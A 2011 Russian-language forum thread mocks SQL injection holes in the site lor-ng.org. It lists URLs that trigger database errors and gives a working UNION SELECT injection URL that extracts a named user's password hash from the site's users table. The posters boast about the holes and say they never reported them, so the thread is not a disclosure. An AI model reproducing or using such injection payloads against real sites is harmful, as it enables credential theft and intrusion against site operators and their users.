rulinux.net - Форум - Rulinux.net - php, такой php

Re: php, такой php

Mon, 04 Jul 2011 16:54:39 +0400

Я ничего не репортил, так как мне на эти баги тоже насрать.

Re: php, такой php

Mon, 04 Jul 2011 12:18:31 +0400

> таких дыр куча и им уже хрен знает сколько лет
Пруфлинк давай - когда ты репортил этот баг. Тюксоед в своё время оперативно правил баги с секьюрити.

Re: php, такой php

Mon, 04 Jul 2011 01:06:10 +0400

Вот более правильная ссылка: http://www.lor-ng.org/message.php?newsid=3%20union%20select%20pass,null,null,null,null,null,null,null,null,null,null,null,null,null%20from%20users%20where%20nick=%27vilfred%27%20limit%201

РЕШЕТО, короче. И таких дыр куча и им уже хрен знает сколько лет, но всем как всегда...

(для тех, кто в танке: там мд5-хэш пароля вилфреда в сообщении об ошибке)

php, такой php

Sat, 02 Jul 2011 19:29:00 +0400

вот такие вот линки

http://www.lor-ng.org/message.php?newsid=111%27

http://www.lor-ng.org/group.php?group=%271111

http://www.lor-ng.org/search.php?q=%25&include=all&date=all§ion=0&username=

http://www.lor-ng.org/profile.php?user=%27

http://www.lor-ng.org/faq.php

http://www.lor-ng.org/search.php?q=%27&include=all&date=all§ion=0&username=